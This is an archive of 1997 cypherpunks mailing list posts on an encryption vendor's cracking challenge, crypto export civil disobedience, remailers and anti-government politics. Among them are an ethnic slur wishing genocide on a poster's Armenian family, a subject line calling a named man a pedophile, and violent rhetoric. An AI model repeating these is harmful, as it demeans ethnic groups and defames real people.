> e-mailed any suggestions, comments, criticisms, insults, etc. to
> jeremy at dataet.com. As I am not subscribed to the cypherpunks' mailing list, I
> would not receive any messages regarding the source code posted to the list.
> It would be best to download VSACM V2.0 from our Web site and make use of the
> help file included and analyze each function or procedure within the source
> code systematically. VSACM.DPR is the main project file. INTUNIT.PAS
> basically contains functions, procedures and data structures not directly
> available to developers. LIBUNIT.PAS contains the functions and procedures
> that are readily available to developers. STDUNIT.PAS contains the source of
> the algorithm extensions.
> 
> Also, there is a VSA2048 encrypted binary file located at
> http://www.dataet.com/public/source/vsacmv20/crackit.dat. The file was
> encrypted using 120-bit (NOT 128-bit) VSA2048 key. Yes, I'm making things a
> whole 8 bits easier (although the maximum key length is 2048 bits). The first
> cypherpunk who develops a VSA2048 decryption utility, decrypts the file, and
> sends decrypted message and the correct key to info at dataet.com and
> cypherpunks at toad.com will receive a free basic Web site package. (Package
> details are located at http://www.dataet.com). (Igor, this is it!)
> 
> If someone does indeed decrypt the file, I myself will post an apology and a
> declaration that VSA2048 constitutes a defective encryption algorithm to the
> cypherpunks mailing list. I will have the marketing of the VSA2048 encryption
> algorithm discontinued.
> 
> The decryption utility must be a program that either incorporates the source
> code internally or incorporates the source code as a compiled DLL. (You must
> compile the given source code. The shareware trial edition version of VSACM
> V2.0, which only allows keys up to 40 bits in length, is NOT compatible with
> the given source code.)
> 
> The "contest" expires on June 20th, 1997. The message and the correct key
> will be posted to cypherpunks at toad.com on June 21st, 1997. By the way, if
> someone cannot hack the file by June 20th...well...I don't know who'll be
> laughing then. After all, the applied key is only 120 bits in length. Also,
> the contest is currently limited to those who are subscribed to the
> cypherpunks' mailing list. There are no exceptions.
> 
> By the way, you can check out DataET Research's Web site at
> http://www.dataet.com. (No, we're NOT using America Online as our Web space
> provider anymore.)
> 
> Regards,
> 
> Jeremy Yu-Ramos
> DataET Research
> 



	- Igor.






From nobody at REPLAY.COM  Fri May 16 19:55:45 1997
From: nobody at REPLAY.COM (Anonymous)
Date: Sat, 17 May 1997 10:55:45 +0800
Subject: Civil Disobediance
In-Reply-To: 
Message-ID: <199705170233.EAA19183@basement.replay.com>


On Fri, 16 May 1997, Tim May wrote, in his ever-growing .sig:

> Only one response to the key grabbers is warranted: "Death to Tyrants!"

Bah.  Here are two better ones:

1) "See you in court."

2) "You will get yours on election day.  Watch me write this check to your
opponent."


A. Michael Froomkin        | +1 (305) 284-4285; +1 (305) 284-6506 (fax)
Associate Professor of Law | "Cyberspace" is not a place.
U. Miami School of Law     | 
P.O. Box 248087            | http://www.law.miami.edu/~froomkin
Coral Gables, FL 33124 USA | It's hot here. 






From sunder at brainlink.com  Fri May 16 20:11:35 1997
From: sunder at brainlink.com (Ray Arachelian)
Date: Sat, 17 May 1997 11:11:35 +0800
Subject: Dan White & Feinstein
In-Reply-To: 
Message-ID: 


On Fri, 16 May 1997, Dr.Dimitri Vulis KOTM wrote:

> Yes - Armenians are censorous scum.  I'm sorry the Turks didn't get
> Ray Arachelian's grandparents.

Yawn.  Keep trying Vulis. :)

=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    | "Boy meets beer.  Boy drinks Beer,     |./|\.
..\|/..|sunder at sundernet.com|        Boy gets another beer!"         |/\|/\
<--*-->| ------------------ |                                        |\/|\/
../|\..| "A toast to Odin,  | For with those which eternal lie, with |.\|/.
.+.v.+.|God of screwdrivers"| strange aeons, even death may die.     |.....
======================== http://www.sundernet.com =========================






From sunder at brainlink.com  Fri May 16 20:27:27 1997
From: sunder at brainlink.com (Ray Arachelian)
Date: Sat, 17 May 1997 11:27:27 +0800
Subject: Just Say "No" to Congress
In-Reply-To: <199705160128.SAA03463@netcom17.netcom.com>
Message-ID: 


On Thu, 15 May 1997, Vladimir Z. Nuri wrote:

> anyone who disbelieves in the authority of the US government
> yet sends them their tax money is a hypocrite.

You seem to be misinformed.  You don't send your money to Uncle Sam.  It 
gets taken out of every pay check before you even see it.   Then, come 
April 15, you fill a piece of paper out with the hope you'll get some of 
it back.  But sometimes, Uncle Sam takes even more.

=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    | "Boy meets beer.  Boy drinks Beer,     |./|\.
..\|/..|sunder at sundernet.com|        Boy gets another beer!"         |/\|/\
<--*-->| ------------------ |                                        |\/|\/
../|\..| "A toast to Odin,  | For with those which eternal lie, with |.\|/.
.+.v.+.|God of screwdrivers"| strange aeons, even death may die.     |.....
======================== http://www.sundernet.com =========================






From tcmay at got.net  Fri May 16 20:34:16 1997
From: tcmay at got.net (Tim May)
Date: Sat, 17 May 1997 11:34:16 +0800
Subject: Just Say "No" to Congress
In-Reply-To: <199705160128.SAA03463@netcom17.netcom.com>
Message-ID: 


At 7:10 PM -0800 5/16/97, Ray Arachelian wrote:
>On Thu, 15 May 1997, Vladimir Z. Nuri wrote:
>
>> anyone who disbelieves in the authority of the US government
>> yet sends them their tax money is a hypocrite.
>
>You seem to be misinformed.  You don't send your money to Uncle Sam.  It
>gets taken out of every pay check before you even see it.   Then, come
>April 15, you fill a piece of paper out with the hope you'll get some of
>it back.  But sometimes, Uncle Sam takes even more.

Actually, Larry is right. At least in my case, and that of many I know, I
send _them_ the money, it is not withheld in any way. I have to consciously
write them out a check (or several) for their blood money.

As for my being hypocritical, Detweiler is free to think whatever he
thinks. If and when I go down in a shootout with the fascists, I expect
it'll be over something more dramatic than not paying my taxes.

(And not paying taxes merely starts a long, multi-year process. If they
even figure out I haven't been filing and paying, a long period of letters,
warnings, and seizure proceedings starts. Although I gather it was a tax
dispute that got the IRS interested in Jim Bell and, thus, the eventual
raid on his house. I'll take this into consideration.)

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay at got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From frantz at netcom.com  Fri May 16 21:02:02 1997
From: frantz at netcom.com (Bill Frantz)
Date: Sat, 17 May 1997 12:02:02 +0800
Subject: The Inducement of Rabid Anarchism in Certain   Materialists...
In-Reply-To: <19970514142758.42227@bywater.songbird.com>
Message-ID: 


At 9:10 PM -0700 5/15/97, Bill Stewart wrote:
>But people are still going to teach their kids what they need,
>and people are still going to keep most of their agreements with
>their neighbors, and they're still going to help each other resolve
>arguments about the agreements that weren't kept, whether that
>resolution is done by an armed posse, or by the offender's family
>paying off the obligation in cattle, or by shunning people until they
>do the right thing, or refusing to give credit to known deadbeats,
>or whatever...

Or by SYN/ ARP flooding.  :-)


-------------------------------------------------------------------------
Bill Frantz       | The Internet was designed  | Periwinkle -- Consulting
(408)356-8506     | to protect the free world  | 16345 Englewood Ave.
frantz at netcom.com | from hostile governments.  | Los Gatos, CA 95032, USA







From whgiii at amaranth.com  Fri May 16 21:38:53 1997
From: whgiii at amaranth.com (William H. Geiger III)
Date: Sat, 17 May 1997 12:38:53 +0800
Subject: Civil Disobediance
In-Reply-To: <199705170233.EAA19183@basement.replay.com>
Message-ID: <199705170412.XAA30089@mailhub.amaranth.com>


-----BEGIN PGP SIGNED MESSAGE-----


In <199705170233.EAA19183 at basement.replay.com>, on 05/16/97 at 08:33 PM,
   nobody at REPLAY.COM (Anonymous) said:


>On Fri, 16 May 1997, Tim May wrote, in his ever-growing .sig:

>> Only one response to the key grabbers is warranted: "Death to Tyrants!"

>Bah.  Here are two better ones:

>1) "See you in court."

Does little good when the courts hold the constitution with the same
disdain as do the rest of the polititions.

>2) "You will get yours on election day.  Watch me write this check to your
>opponent."

Not much point whe the "opponent" is just as much of a fasists.

Such "standard" methods only work if we have funtioning checks and balances
in our government. This we currently do not. All 3 branches hold the
constitution in utter contempt and the only debate is how best to abolish
what is left without disturbing the sheep.

- -- 
- -----------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
                          
Finger whgiii at amaranth.com for PGP Key and other info
- -----------------------------------------------------------
 
Tag-O-Matic: This marks Logical End-Of-Message. Physical EOM follows

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Version: 2.6.2

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From kent at songbird.com  Fri May 16 22:14:14 1997
From: kent at songbird.com (Kent Crispin)
Date: Sat, 17 May 1997 13:14:14 +0800
Subject: Dan White & Feinstein
In-Reply-To: <19970515002241.20918@bywater.songbird.com>
Message-ID: <19970516214950.35898@bywater.songbird.com>


On Fri, May 16, 1997 at 11:07:32AM -0400, Duncan Frissell wrote:
>Feinstein had been a friend of his when he was on the Board of
>Supes and it is possible that one of the reasons he lost it during the crisis
>over his resignation and attempt to get back on the Board was because
>Feinstein was in Nepal on her honeymoon (millionaire second husband) and
>wasn't there to support him. 

BTW, do you remember what happened to her first husband?

[...]

>Feinstein want to grab your guns because she is an authoritarian.  Not
>because of any particular experiences she's had with guns.

You are in denial.  Her firsthand experience with gun violence has 
clearly been a serious formative factor in her values and opinions.  
However, I agree that she has authoritarian tendencies.  Furthermore, 
she is, in my opinion, pretty lightweight intellectually -- not quite to 
the Reagan level, perhaps, but (as Reagan demonstrated) one doesn't 
need intelligence to succeed in politics.

>  She has shown
>equal contempt for the First Amendment and the Second.  She's ma woman and a
                                                               ^^^^^^^^
Please translate?
>commie liberal.  What can one expect.

>While mayor of San Francisco, she indulged in a number of famous suppressions
>of free speech:
>
>1)  She cancelled the appearance of the Turkish Folklorico Ballet because of
>demonstration threats from the (no longer starving) Armenians.
>
>2)  She tried to ban the showing of whatever that dumb New York gang movie
>was after a stabbing at one of the theaters showing it.
>
>3)  She pressured a clothing store to pull its billboard ad campaign
>"Feinstyle" which featured a (fully clothed) reclining, look-alike model
>wearing her sort of scarf and business attire.

Oh, give me a break, Duncan.  These are absolutely pathetic 
examples.  Much more indicative of her "caliber", I think, was her 
mind-numbing efforts to get a new stadium built.

...

-- 
Kent Crispin				"No reason to get excited",
kent at songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html






From kent at songbird.com  Fri May 16 23:12:35 1997
From: kent at songbird.com (Kent Crispin)
Date: Sat, 17 May 1997 14:12:35 +0800
Subject: TEXTO - Text steganography
In-Reply-To: <199705160908.CAA03291@fat.doobie.com>
Message-ID: <19970516224838.26116@bywater.songbird.com>


On Fri, May 16, 1997 at 03:24:23PM +0000, Paul Bradley wrote:
> 
> >    Texto text files look like something between mad libs and bad poetry,
> > (although they do sometimes contain deep cosmic truths) and should be
> > close
> > enough to normal english to get past simple-minded mail scanners and to
> > entertain readers of talk.bizarre.
> > -------------
> > 
> >   Perhaphs this explains why, when I tried it, it signed Paul Bradley's
> > name to the output.
> 
> Mr. Nobody,
> 
> This message justified the fact that I do not have a killfile deleting 
> remailer messages at present. ROFL.
> 
> BTW Kent, I thought you never used remailers... ;-)

Not me.  I'm not smart enough.

-- 
Kent Crispin				"No reason to get excited",
kent at songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html






From nobody at huge.cajones.com  Fri May 16 23:56:46 1997
From: nobody at huge.cajones.com (Huge Cajones Remailer)
Date: Sat, 17 May 1997 14:56:46 +0800
Subject: Lucky's explaination...
Message-ID: <199705170629.XAA22759@fat.doobie.com>


Lucky Green wrote:
> At 11:39 PM 5/15/97 CST, TruthMonger wrote:
> >Tim May wrote:
> >> Further, a clever little fix is to make one's own remailer site a link in
> >> the chain. All a snooping subset of remailers can do is trace the message
> >> back to your own remailers. Obviously, they can't know if the message was
> >> merely _remailed_ through your site, or _originated_ there. Thus, including
> >> oneself as a remailer also provides excellent plausible deniability.)

> >  This is a lame idea with no merit whatsoever.
 
> Since Tim's statement describes today's standard practice for increasing
> security for one's remailed messages, perhaps TruthMonger would like to
> explain why it has no merit. But then again, TruthMonger = Infowar. Guess
> we won't see an explanation that has merit.

  If you had read the header of the message, then you would have seen
the explaination.

TruthMonger






From nobody at huge.cajones.com  Fri May 16 23:57:41 1997
From: nobody at huge.cajones.com (Huge Cajones Remailer)
Date: Sat, 17 May 1997 14:57:41 +0800
Subject: The Inducement of Rapid Oxidation of Certain Materials....
Message-ID: <199705170629.XAA22763@fat.doobie.com>


Duncan Frissell wrote:
> For the actual numbers of the major government murders see
> 
> http://www.laissezfaire.org/pl6300.html
> 
> DEATH BY GOVERNMENT
> by R.J. Rummel
> (Transaction Books, 1994)
 
> I. Background Over 133,147,000 Murdered: Pre-Twentieth-Century Democide, 45.
> II. 128,168,000 Victims: The DekaMegaMurderers
> III. 19,178,000 Victims: The Lesser MegaMurderers
> IV 4,145,000 Victims: The Suspected MegaMurderers

Duncan,
  You have to keep in mind that these deaths were all necessary 
in order to curtail drug dealing and pornography. (Although it
gave rise to a sharp increase in necrophilia.)

  I read a passage of a book long ago in which a historian recounted
a number of different fallen dictators known for bloody purges who
reminesced that if they had controlled their moments of "softness"
(translate~~killed more of the right people) that they would still
be in power.
  I wonder if Hitler's final words were, "Well, they won't have
Adolf Hitler to kick around, anymore."

DeathMonger







From lucifer at dhp.com  Sat May 17 01:27:44 1997
From: lucifer at dhp.com (lucifer Anonymous Remailer)
Date: Sat, 17 May 1997 16:27:44 +0800
Subject: Just Say "No" to Congress
Message-ID: <199705170719.DAA12927@dhp.com>


Vladimir Z. Nuri wrote:

> >> anyone who disbelieves in the authority of the US government
> >> yet sends them their tax money is a hypocrite.
> >
> >  Horseshit. That's no different from saying that anyone who
> >disbelieves in the authority of armed robbers yet gives them
> >their wallet is a hypocrite.
> >  Do you actually put any thought into your posts?
> >
> 
> ok truthmonger, after someone has stolen your money, do you
> report it to the police, or do you just sit around and
> curse the evildoer? what is your response when your money
> is stolen?

  I kiss it goodbye and forget about it.
  The police are too busy pursing imaginary crime to bother with
real crime.

  I caught a kid breaking into my camper by the Rose Garden in 
Berkeley. I handcuffed him to the bumper and gave him the option
of my calling his mother or the police. When the Berkeley police
cruised by I explained the situation and they had no problem with
it, but I got a pile of shit from various Berkeley bleeding-hearts
while we waited for his mother.
  I would have turned the kid loose before turning him over to the
police, since I regarded him as a lesser criminal than many of
them. I've lost a few thousand dollars worth of goods to thieves,
but criminal cops have cost me tens of thousands of dollars in
the legal system.

TruthMonger







From banisar at epic.org  Sat May 17 16:28:08 1997
From: banisar at epic.org (Dave Banisar)
Date: Sat, 17 May 1997 16:28:08 -0700 (PDT)
Subject: PI/GILC UK Crypto Conference Cybercast
Message-ID: 


For those of you interested in hearing a live cybercast of the Privacy
International/GILC conference on UK cryptography policy, theURL is:

    http://www.encryption.co.uk

Speakers will include Phil Zimmermann, Whit Diffie, Ross Anderson, and Carl
Ellison.
The Department of Trade and Industry and the National Criminal Intelligence
Service will also present. The event is being hosted by the London School
of Economics.

A copy of the agenda is available at:

   http://www.privacy.org/pi/conference/dti/








From harka at nycmetro.com  Sat May 17 08:27:23 1997
From: harka at nycmetro.com (harka at nycmetro.com)
Date: Sat, 17 May 1997 23:27:23 +0800
Subject: CC fingerprints
Message-ID: <199705170904.FAA29705@linux.nycmetro.com>



-----BEGIN PGP SIGNED MESSAGE-----

http://cnn.com/TECH/9705/16/t_t/magnetic.security/index.html

Catching counterfeit credit cards

Researchers find way to check magnetic 'fingerprints'

ST. LOUIS, Missouri (CNN) -- Researchers at Washington University here have 
come up with a way to spot counterfeit credit cards by detecting the unique 
"fingerprint" on the back of each card. 



Their solution, called the Magneprint system, reads the millions of tiny 
magnetic particles, which are unique on each card, says Professor Ronald 
Indeck. 
Each magnetic stripe on the card has two important areas. The first looks 
like a bar code, which contains the account number. The rest is a random 
pattern of magnetic information -- a signature that is different on every 
card and impossible to duplicate, Indeck says.



The inventors say the Magneprint system can be used to stop other kinds of 
fraud, involving airline tickets, currency, and checks.
It's expected to be made available to card companies later this year.

========================================================================== 


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FbcpDJ0KCQtTlY1ViGHI60XqFFFWXUQ/pTZgXF8bVeOsIzOkicU0Ug==
=Y3gr
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From nobody at hidden.net  Sat May 17 08:33:02 1997
From: nobody at hidden.net (Anonymous)
Date: Sat, 17 May 1997 23:33:02 +0800
Subject: Civil Disobediance
Message-ID: <199705171254.FAA02714@jefferson.hidden.net>


On Fri, 16 May 1997, tzeruch at ceddec.com wrote:
> On Thu, 15 May 1997, Huge Cajones Remailer wrote:
>> "All that matters is how we die: shall we offer our bodies
>> helplessly, like cattle, to the knife, or, refusing passively to
>> await the end shall we turn the strength of our anger to one last
>> battle, til, daring and doing, we fall, drenched with their blood,
>> amongst the heaped bodies and weapons of our dying enemies?"  --
>> Livy Book XXV
>
> They couldn't move with their wealth out of the way, so the
> alternatives were limited.

The passage above appears in the discussion of the betrayal to the
Carthaginians of the Roman commander Gracchus by his "friend" Flavus
Gracchus makes this declaration to his men before they fought their
enemies to the death.

The protection of personal wealth was only weakly connected with the
events described.

Dr. Roberts






From stewarts at ix.netcom.com  Sat May 17 08:37:33 1997
From: stewarts at ix.netcom.com (Bill Stewart)
Date: Sat, 17 May 1997 23:37:33 +0800
Subject: The Interlinked Cypherpunks Lists? (fwd)
In-Reply-To: <199705140034.TAA23384@einstein.ssz.com>
Message-ID: <3.0.1.32.19970517022756.005b2608@popd.ix.netcom.com>


At 06:50 PM 5/13/97 -0800, Tim May wrote:
>Instead, imagine this "service":
>- a distribution point (= list) which subscribes to all of the various
>lists (cyberpass, algebra, ssz, etc.)
>- it sends out to subscribers the first instance of any message it receives
>- duplicates (see discussion below) would not be sent
>- it would, ideally, be on a robust machine

As a filtering service, it would be great, though most of the duplicates
I see are articles posted on one or more of (cypherpunks, coderpunks,
cryptography), and I'd see a few more dups if I read alt.cypherpunks
regularly.

On the other hand, one of the reasons we have multiple list servers
is to reduce the risk of a single cypherpunks list site dying again
(as well as just the effect of several people volunteering at once.)
A filter site is a single point of failure, though it's a less serious
failure if there are still multiple lists feeding it.
If the filter can set the headers appropriately so that the
author and originating-list information still works, 
then it matters even less if it goes down.


#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts at ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)






From nobody at hidden.net  Sat May 17 08:38:53 1997
From: nobody at hidden.net (Anonymous)
Date: Sat, 17 May 1997 23:38:53 +0800
Subject: Civil Disobediance
Message-ID: <199705171253.FAA02681@jefferson.hidden.net>


On Thu, 15 May 1997, Adam Back wrote:
>Dr Roberts writes:
>> Perhaps there is a way to turn the training on the trainers?  Civil
>> disobediance is the best way to do this.  Were a relatively small
>> number of people, a thousand for instance, to post the "RSA in 3
>> lines" code to the world, it would be highly unlikely that anybody
>> at all would be prosecuted,

> Many 1000s of people have exported it.

This was a step in the right direction.  The response of the USG has
been to pretend it isn't happening.

However, if 1000 people announced publically and openly that on a
certain date they were all going to post it to this and similar lists,
it would have a strong political impact, particularly if followed
regularly by longer works of mathematics.  Of course, if the "RSA in 3
lines" posting is considered a done deal, it may be time to move on to
longer postings.

The fact is the USG has been reluctant to make any overt moves.
Instead, they have tried to quietly put in "the crypto fix" without
making too many waves.  Over and over again we have seen their lack of
confidence in their ability to get away with making some math illegal.
It may be the case that a number of mass postings of mathematics,
which anybody can look at and see to be harmless, is all that it will
take to finish off the whole ridiculous scheme.

Simple ridicule has its value, but what I intend is the use of
organized civil disobediance as a political action, and one which is
almost impossible for thugs to respond to, particularly in time of
peace.  The nice thing about this form of civil disobediance is that
it occurs on the Net in the most public way so that it will be very
difficult for the newspapers to misrepresent what is going on.

> Well, it does seem to me at times that people in the US are being
> too timid about the whole situation.  I mean if everyone just openly
> ignored the stupid laws, you might think they would go away by
> default, just to catch up with reality.

Ironically, the very people who lay awake at night worrying about
whether factoring is hard are the least likely to take risks!

> Much hand-wringing is spent putting no-export warnings on code,
> obfuscating the download process to discourage non-US people, and
> warning others not to export.

Nobody wants to be the first one to cross the line and be arrested.
Fortunately, posting is easy and anybody can participate.  Nobody has
to be (in any meaningful way) the first to go.

There is simply no way that the government will be able to lock up
1000s of professors, grad students, businessmen, programmers, or
politicians for sharing mathematics when in the consensual
hallucination we call the news, the country is being overrun by
violent criminals.

Maybe July 4 would be a good date?

Dr. Roberts






From dlv at bwalk.dm.com  Sat May 17 08:42:32 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sat, 17 May 1997 23:42:32 +0800
Subject: Martin Hannigan Pervert Pedophile
In-Reply-To: 
Message-ID: <35Pu7D12w165w@bwalk.dm.com>


kibo  writes:
...
> > > That's not as misguided as it seems. Common carriers are regulated
> > > heavily, and many ISPs don't generally seek that regulation.
> > >
>
> That is a telephone type of "common carrier."  but anybody with a
> "common carrier status" is not going to get regulated.  All it means
> is a hands-off approach to users postings.
>
> Even for a death threat, I will not terminate any user, because
> the law is not mine to enforce.  And this "copyright" shit is the
> same argument.  SPA needs to be attacked and undermined.

The ISP cannot determine that a particular patterns of 1's and 0's
constitutes a "death threat" and/or a "copyright violation".

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps






From alan at ctrl-alt-del.com  Sat May 17 08:45:32 1997
From: alan at ctrl-alt-del.com (Alan Olsen)
Date: Sat, 17 May 1997 23:45:32 +0800
Subject: Civil Disobediance
In-Reply-To: 
Message-ID: <3.0.1.32.19970517075902.00ad43e0@mail.teleport.com>


-----BEGIN PGP SIGNED MESSAGE-----

At 04:33 AM 5/17/97 +0200, A. Michael Froomkin wrote:
>On Fri, 16 May 1997, Tim May wrote, in his ever-growing .sig:
>
>> Only one response to the key grabbers is warranted: "Death to Tyrants!"
>
>Bah.  Here are two better ones:
>
>1) "See you in court."
>
>2) "You will get yours on election day.  Watch me write this check to your
>opponent."

You forgot the Jim Ray solution:

3) "Watch me run against you in the next election and make you look like a
fool."

or the amnesiac solution:

4) "Damn! I forgot my passphrase again!"

or the surealist solution:

5) "What colour do you think my keys should be?  Can I hang them around this
burning giraffe?"

-----BEGIN PGP SIGNATURE-----
Version: 4.5

iQEVAwUBM33HpuQCP3v30CeZAQExOgf9E6d6x986RizMjqNfF0sZ3vDxyorv5AQg
P0m7lX7BedelgHelLTSfSqzli9dgKQPJ/1bB/zqABVZ+MJkWLO8zTrGjtIc733Ok
z1cQ32p3yXf4B64RED4Pr2GFwqWXMgwWRiFNh2NV3SAjoOgxaED1jhkgNnI3hTWq
0ND3V1/n/YwW0THndXtvul0Y50Iq69VVfHAYXAx2+gw1sviqt/dkcEmxJmFc4OCA
YsmZXhmcVOCqRhQr++lWsj/0CY7XgL9kpY1Wj0UGMAraVpJTEO2Q6HoDC8Mcr6RU
Ken7+ANB6d5MnYTbitAscHAObdeRivum5se/BcZysn1AZ9vP7CDfYQ==
=lIHr
-----END PGP SIGNATURE-----

---
|     "Bill Clinton - Bringing back the sixties one Nixon at a time."    |
|"The moral PGP Diffie taught Zimmermann unites all| Disclaimer:         |
| mankind free in one-key-steganography-privacy!"  | Ignore the man      |
|`finger -l alano at teleport.com` for PGP 2.6.2 key  | behind the keyboard.|
|         http://www.ctrl-alt-del.com/~alan/       |alan at ctrl-alt-del.com|






From dlv at bwalk.dm.com  Sat May 17 08:49:38 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sat, 17 May 1997 23:49:38 +0800
Subject: The Inducement of Rapid Oxidation of Certain Materials....
In-Reply-To: <199705170629.XAA22763@fat.doobie.com>
Message-ID: 


nobody at huge.cajones.com (Huge Cajones Remailer) writes:
> > I. Background Over 133,147,000 Murdered: Pre-Twentieth-Century Democide, 45
> > II. 128,168,000 Victims: The DekaMegaMurderers
> > III. 19,178,000 Victims: The Lesser MegaMurderers
> > IV 4,145,000 Victims: The Suspected MegaMurderers
...
>   I read a passage of a book long ago in which a historian recounted
> a number of different fallen dictators known for bloody purges who
> reminesced that if they had controlled their moments of "softness"
> (translate~~killed more of the right people) that they would still
> be in power.

This reminds me how I used to be consulting for a publisher, and came
across an MS (which never got published) written by some Mongol about
the history of Mongol conquests. It had a passage to the effect that,
"X-khan should have put down this rebellion and killed a million
people, like his predecessors would have. But he was soft, and this
caused the empire to collapse."

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps






From DataETRsch at aol.com  Sat May 17 11:01:29 1997
From: DataETRsch at aol.com (DataETRsch at aol.com)
Date: Sun, 18 May 1997 02:01:29 +0800
Subject: http://www.dataet.com/public/source/vsacmv20/
Message-ID: <970517133710_517174890@emout09.mail.aol.com>


Igor,

In a message dated 97-05-17 01:04:54 EDT, you write:

<< Thank you VERY MUCH for releasing the source code. This shows that you are
 serious about your program and truly appreciate how important is the process
 of review as far as your credibility is concerned.
 
 I have downloaded your code and looked at it. Looks rather interesting
 (especially the part below). What I did not understand, however, is
 what is SetVal and how it works. Also, I was not clear how you set
 variables AE1, AE2, ..., AE10 and so on.
 
 As far as I understand, you use these variables to select the particular 
 encryption method. Do you normally select only one method on some random 
 basis or you use several passes?
 
 Also, some may be interested to look at this particular encryption
 method (I added some indentation and comments for readability). I believe
 that it is not particularly strong. >>

Hi. Thanks for taking a look at the source code. Actually, SetVal is just a
name used for many parameters of functions and procedures within VSACM. The
documentation of VSACM V2.0 describes what SetVal represents in each function
or procedure. Attached to this message is the help file of VSACM. As for the
AE1, AE2, etc. variables, they're set with the VSACMSetEnableTC1001,
VSACMSetEnableTC1002, etc. procedures. If you take a look at
VSACMProcessOperation function in LibUnit.pas and the Internal function in
IntUnit.pas, you'll notice how relatively uncomplex algorithm extensions are
combined to form a powerful algorithm. The procedure TC1001 (in StdUnit.pas)
you mentioned is basically a pseudo-random byte XORer. TC1001 is NEVER used
as the sole encryptor of a file. You'll also notice that, at a minimum,
single passes of TC1001, TC2005, TC1005, TC3001, TC3004, and TC3005 are used
to encrypt/decrypt a file. No, an algorithm extension is not chosen randomly.
Some of the procedures are "scramblers". Others are "incrementors". Others
are "avalanchers". Again, it is best to analyze VSACM as a whole in a
systematical (chronological) manner instead of analyzing each procedure of
function in each source code file one by one. By the way, what do you think
of the key hashing procedure (VSACMSetKey) and the memory deallocation and
destruction procedure (VSACMInitialize) and the masking tables in
IntUnit.pas? Did you find any "backdoors" or ways to hack a decryption date
or time lock applied to a file without applying the correct key? (There
aren't any). How about any flaws?

Also, for others who may be reading this, if you still think VSA2048 is still
a "flawed" or "crappy" or "sucky" or "snake-oiled" encryption algorithm, why
don't you PROVE it by cracking the file located at
http://www.dataet.com/public/source/vsacmv20/breakit.dat (if you are in the
U.S.)?!?! (All words, no action!!!) Well? The file was encrypted using a
120-bit VSA2048 key. The key isn't even 128 bits in length! I don't know
about you, but I would think VSA2048 is pretty good if not even one
cypherpunk out there can decrypt the message. As for my previous line about
the decryption contest being limited to the cypherpunks (@toad.com), I have
changed my mind. The contest is open to any person (in the United States). I
will post contest details to cypherpunks at toad.com again.

I appreciate the comments. Thanks.

Regards,

Jeremy Yu-Ramos
DataET Research






From tzeruch at ceddec.com  Sat May 17 11:06:08 1997
From: tzeruch at ceddec.com (tzeruch at ceddec.com)
Date: Sun, 18 May 1997 02:06:08 +0800
Subject: Just Say "No" to Congress - authority v.s. power
In-Reply-To: 
Message-ID: <97May17.134933edt.32257-1@brickwall.ceddec.com>


On Thu, 15 May 1997, Vladimir Z. Nuri wrote:

> anyone who disbelieves in the authority of the US government
> yet sends them their tax money is a hypocrite.

They just want their own federal reserve notes back - Render unto
Caesar... But to the original point:

Then so is anyone who gives money to an armed robber who offers the
alternatives of payment or bodily harm.  It is a voluntary decision to
give money to the robber instead of letting him remove it from your
corpse.  His weapon gives him power without authority, and you (or your
survivors) appeal to the legitimage authority of the police to address the
situation. 

China has a government.  Is everything it does to its citizens legitimate? 
If so, why - is it might makes right?  If not, what is unique about the US
government being a mixture of a little democracy and a lot of bureaucracy
that makes any act by any agent legitimate? 







From DataETRsch at aol.com  Sat May 17 11:15:43 1997
From: DataETRsch at aol.com (DataETRsch at aol.com)
Date: Sun, 18 May 1997 02:15:43 +0800
Subject: http://www.dataet.com/public/source/vsacmv20/
Message-ID: <970517134822_-1029781424@emout15.mail.aol.com>


In a message dated 97-05-17 13:37:36 EDT, you write:

<< why don't you PROVE it by cracking the file located at
http://www.dataet.com/public/source/vsacmv20/breakit.dat >>

It's "crackit.dat". Sorry.






From alan at ctrl-alt-del.com  Sat May 17 18:00:50 1997
From: alan at ctrl-alt-del.com (Alan Olsen)
Date: Sun, 18 May 1997 09:00:50 +0800
Subject: dhp.com is blocked by CyberSitter
Message-ID: <3.0.2.32.19970517113604.03d96100@mail.teleport.com>


A note for those of you who use dhp.com.

dhp.com is on the blocked list for CyberSitter.

Don't bother complaining to Brian Milburn (pres. of solid oak, makers of
CyberSitter) about it.  He is notorious for throwing temper tantrums at
anyone questioning his judgement.

---
|     "Bill Clinton - Bringing back the sixties one Nixon at a time."    |
|"The moral PGP Diffie taught Zimmermann unites all| Disclaimer:         |
| mankind free in one-key-steganography-privacy!"  | Ignore the man      |
|`finger -l alano at teleport.com` for PGP 2.6.2 key  | behind the keyboard.|
|         http://www.ctrl-alt-del.com/~alan/       |alan at ctrl-alt-del.com|






From alan at ctrl-alt-del.com  Sat May 17 18:03:09 1997
From: alan at ctrl-alt-del.com (Alan Olsen)
Date: Sun, 18 May 1997 09:03:09 +0800
Subject: PGP 5.0 beta is out at PGP.com
